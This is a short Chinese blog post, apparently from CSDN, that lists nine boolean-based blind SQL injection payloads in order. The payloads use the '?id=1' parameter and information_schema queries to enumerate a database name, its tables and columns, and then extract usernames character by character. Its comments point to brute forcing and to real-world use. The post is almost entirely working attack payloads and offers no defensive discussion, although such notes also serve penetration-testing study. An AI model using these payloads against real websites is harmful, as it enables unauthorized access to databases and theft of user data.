1.查询当前数据库长度
?id=1 and (length (database()))>3
2.查询当前数据库名称
?id=1 and (substr (database(),1,1))="a"
3.查询当前数据库下表的数量
?id=1 and (select count(*) from information_schema.tables where table_schema=database)>3
4.查询当前数据库下第一张表的长度(配合爆破可查询其他表)
?id=1 and (length((select table_naem from information_schema.tables where table_schema=database() limit 0,1)))>3
5.查询当前数据库下第一张表的表名第一位(可配合爆破)
?id=1 and(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))="a"
6.查询当前数据库下,users表中字段数(users不固定)
?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users")=3
7.查询当前数据库下users表中第一字段的长度(0可更改)
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))>3
8.查询当前数据库下users表中第一个字段的第一位
?id=1 and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)="a"
9.得到字段后就可以查询数据了,这里指定的是username字段,实战中可更改,注意区分大小写
?id=1 and substr((select username from users limit 0,1),1,1)="d"
标签:语句,users,database,table,布尔,盲注,id,select,schema
From: https://blog.csdn.net/winter_1235/article/details/144222036